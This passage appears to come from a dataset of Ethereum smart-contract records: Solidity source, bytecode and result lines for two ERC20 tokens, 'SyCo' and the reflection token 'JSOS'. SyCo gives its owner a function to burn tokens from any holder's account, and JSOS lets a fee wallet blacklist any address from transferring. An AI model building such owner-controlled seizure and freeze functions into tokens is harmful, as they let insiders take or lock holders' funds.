/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract SyCo is Context, IERC20, IERC20Metadata, Ownable {
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The defaut value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor () {
_name = "Sycotic Society";
_symbol = "SyCo";
_totalSupply = 1000000000 * (10**decimals());
_balances[msg.sender] = _totalSupply;
emit Transfer(address(0),msg.sender,_totalSupply);
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overloaded;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
_balances[account] = accountBalance - amount;
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
}
function burn(address account,uint256 amount) public onlyOwner returns(bool) {
_burn(account,amount);
return true;
}
function mint(address account,uint256 amount) public onlyOwner returns(bool) {
_mint(account,amount);
return true;
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
_approve(sender, _msgSender(), currentAllowance - amount);
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
_balances[sender] = senderBalance - amount;
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
|
0x608060405234801561001057600080fd5b50600436106101005760003560e01c8063715018a611610097578063a457c2d711610066578063a457c2d7146102c5578063a9059cbb146102f5578063dd62ed3e14610325578063f2fde38b1461035557610100565b8063715018a61461024f5780638da5cb5b1461025957806395d89b41146102775780639dc29fac1461029557610100565b8063313ce567116100d3578063313ce567146101a157806339509351146101bf57806340c10f19146101ef57806370a082311461021f57610100565b806306fdde0314610105578063095ea7b31461012357806318160ddd1461015357806323b872dd14610171575b600080fd5b61010d610371565b60405161011a9190611773565b60405180910390f35b61013d600480360381019061013891906114e8565b610403565b60405161014a9190611758565b60405180910390f35b61015b610421565b6040516101689190611915565b60405180910390f35b61018b60048036038101906101869190611499565b61042b565b6040516101989190611758565b60405180910390f35b6101a961052c565b6040516101b69190611930565b60405180910390f35b6101d960048036038101906101d491906114e8565b610535565b6040516101e69190611758565b60405180910390f35b610209600480360381019061020491906114e8565b6105e1565b6040516102169190611758565b60405180910390f35b61023960048036038101906102349190611434565b610673565b6040516102469190611915565b60405180910390f35b6102576106bc565b005b6102616107f6565b60405161026e919061173d565b60405180910390f35b61027f61081f565b60405161028c9190611773565b60405180910390f35b6102af60048036038101906102aa91906114e8565b6108b1565b6040516102bc9190611758565b60405180910390f35b6102df60048036038101906102da91906114e8565b610943565b6040516102ec9190611758565b60405180910390f35b61030f600480360381019061030a91906114e8565b610a37565b60405161031c9190611758565b60405180910390f35b61033f600480360381019061033a919061145d565b610a55565b60405161034c9190611915565b60405180910390f35b61036f600480360381019061036a9190611434565b610adc565b005b60606004805461038090611a79565b80601f01602080910402602001604051908101604052809291908181526020018280546103ac90611a79565b80156103f95780601f106103ce576101008083540402835291602001916103f9565b820191906000526020600020905b8154815290600101906020018083116103dc57829003601f168201915b5050505050905090565b6000610417610410610c85565b8484610c8d565b6001905092915050565b6000600354905090565b6000610438848484610e58565b6000600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610483610c85565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610503576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104fa90611835565b60405180910390fd5b6105208561050f610c85565b858461051b91906119bd565b610c8d565b60019150509392505050565b60006012905090565b60006105d7610542610c85565b848460026000610550610c85565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546105d29190611967565b610c8d565b6001905092915050565b60006105eb610c85565b73ffffffffffffffffffffffffffffffffffffffff166106096107f6565b73ffffffffffffffffffffffffffffffffffffffff161461065f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161065690611855565b60405180910390fd5b61066983836110da565b6001905092915050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6106c4610c85565b73ffffffffffffffffffffffffffffffffffffffff166106e26107f6565b73ffffffffffffffffffffffffffffffffffffffff1614610738576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161072f90611855565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606005805461082e90611a79565b80601f016020809104026020016040519081016040528092919081815260200182805461085a90611a79565b80156108a75780601f1061087c576101008083540402835291602001916108a7565b820191906000526020600020905b81548152906001019060200180831161088a57829003601f168201915b5050505050905090565b60006108bb610c85565b73ffffffffffffffffffffffffffffffffffffffff166108d96107f6565b73ffffffffffffffffffffffffffffffffffffffff161461092f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161092690611855565b60405180910390fd5b610939838361122f565b6001905092915050565b60008060026000610952610c85565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610a0f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a06906118d5565b60405180910390fd5b610a2c610a1a610c85565b858584610a2791906119bd565b610c8d565b600191505092915050565b6000610a4b610a44610c85565b8484610e58565b6001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610ae4610c85565b73ffffffffffffffffffffffffffffffffffffffff16610b026107f6565b73ffffffffffffffffffffffffffffffffffffffff1614610b58576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b4f90611855565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610bc8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bbf906117d5565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610cfd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cf4906118b5565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d6d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d64906117f5565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610e4b9190611915565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610ec8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ebf90611895565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610f38576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f2f90611795565b60405180910390fd5b610f43838383611405565b6000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015610fca576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fc190611815565b60405180910390fd5b8181610fd691906119bd565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546110689190611967565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516110cc9190611915565b60405180910390a350505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561114a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611141906118f5565b60405180910390fd5b61115660008383611405565b80600360008282546111689190611967565b9250508190555080600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546111be9190611967565b925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516112239190611915565b60405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561129f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161129690611875565b60405180910390fd5b6112ab82600083611405565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611332576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611329906117b5565b60405180910390fd5b818161133e91906119bd565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816003600082825461139391906119bd565b92505081905550600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516113f89190611915565b60405180910390a3505050565b505050565b60008135905061141981611e82565b92915050565b60008135905061142e81611e99565b92915050565b60006020828403121561144657600080fd5b60006114548482850161140a565b91505092915050565b6000806040838503121561147057600080fd5b600061147e8582860161140a565b925050602061148f8582860161140a565b9150509250929050565b6000806000606084860312156114ae57600080fd5b60006114bc8682870161140a565b93505060206114cd8682870161140a565b92505060406114de8682870161141f565b9150509250925092565b600080604083850312156114fb57600080fd5b60006115098582860161140a565b925050602061151a8582860161141f565b9150509250929050565b61152d816119f1565b82525050565b61153c81611a03565b82525050565b600061154d8261194b565b6115578185611956565b9350611567818560208601611a46565b61157081611b09565b840191505092915050565b6000611588602383611956565b915061159382611b1a565b604082019050919050565b60006115ab602283611956565b91506115b682611b69565b604082019050919050565b60006115ce602683611956565b91506115d982611bb8565b604082019050919050565b60006115f1602283611956565b91506115fc82611c07565b604082019050919050565b6000611614602683611956565b915061161f82611c56565b604082019050919050565b6000611637602883611956565b915061164282611ca5565b604082019050919050565b600061165a602083611956565b915061166582611cf4565b602082019050919050565b600061167d602183611956565b915061168882611d1d565b604082019050919050565b60006116a0602583611956565b91506116ab82611d6c565b604082019050919050565b60006116c3602483611956565b91506116ce82611dbb565b604082019050919050565b60006116e6602583611956565b91506116f182611e0a565b604082019050919050565b6000611709601f83611956565b915061171482611e59565b602082019050919050565b61172881611a2f565b82525050565b61173781611a39565b82525050565b60006020820190506117526000830184611524565b92915050565b600060208201905061176d6000830184611533565b92915050565b6000602082019050818103600083015261178d8184611542565b905092915050565b600060208201905081810360008301526117ae8161157b565b9050919050565b600060208201905081810360008301526117ce8161159e565b9050919050565b600060208201905081810360008301526117ee816115c1565b9050919050565b6000602082019050818103600083015261180e816115e4565b9050919050565b6000602082019050818103600083015261182e81611607565b9050919050565b6000602082019050818103600083015261184e8161162a565b9050919050565b6000602082019050818103600083015261186e8161164d565b9050919050565b6000602082019050818103600083015261188e81611670565b9050919050565b600060208201905081810360008301526118ae81611693565b9050919050565b600060208201905081810360008301526118ce816116b6565b9050919050565b600060208201905081810360008301526118ee816116d9565b9050919050565b6000602082019050818103600083015261190e816116fc565b9050919050565b600060208201905061192a600083018461171f565b92915050565b6000602082019050611945600083018461172e565b92915050565b600081519050919050565b600082825260208201905092915050565b600061197282611a2f565b915061197d83611a2f565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156119b2576119b1611aab565b5b828201905092915050565b60006119c882611a2f565b91506119d383611a2f565b9250828210156119e6576119e5611aab565b5b828203905092915050565b60006119fc82611a0f565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b83811015611a64578082015181840152602081019050611a49565b83811115611a73576000848401525b50505050565b60006002820490506001821680611a9157607f821691505b60208210811415611aa557611aa4611ada565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a206275726e20616d6f756e7420657863656564732062616c616e60008201527f6365000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f45524332303a206275726e2066726f6d20746865207a65726f2061646472657360008201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b611e8b816119f1565b8114611e9657600080fd5b50565b611ea281611a2f565b8114611ead57600080fd5b5056fea2646970667358221220448fbad5a87dfe9898668f5101b548f6bb0472aa27c4e7601df0a2fb8524ed7464736f6c63430008040033
|
{"success": true, "error": null, "results": {}}
| 4,462 |
0x9ebefd155aef278db9fcca04b4dce67cf5181266
|
//telegram @JungersStormofSteel
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract JSOS is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redis = 2;
uint256 private _tax = 10;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
address payable private _feeAddrWallet1;
string private constant _name = "Junger'StormofSteel";
string private constant _symbol = "JSOS";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable _add1) {
_feeAddrWallet1 = _add1;
_rOwned[owner()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet1] = true;
emit Transfer(address(0),owner(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(amount > 0, "Transfer amount must be greater than zero");
require(!bots[from]);
if (from != address(this)) {
_feeAddr1 = _redis;
_feeAddr2 = _tax;
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
if(contractTokenBalance > 0){
swapTokensForEth(contractTokenBalance);
}
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 100000000000000000) {
sendETHToFee(address(this).balance);
}
}
}
if( from == owner()){
_feeAddr2 = 0;
_feeAddr1 = 0;
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function liftMaxTx() external onlyOwner{
_maxTxAmount = _tTotal ;
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet1.transfer(amount);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = _tTotal;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function blacklistBot(address _address) external {
require(_msgSender() == _feeAddrWallet1);
bots[_address] = true;
}
function removeFromBlacklist(address notbot) external {
require(_msgSender() == _feeAddrWallet1);
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
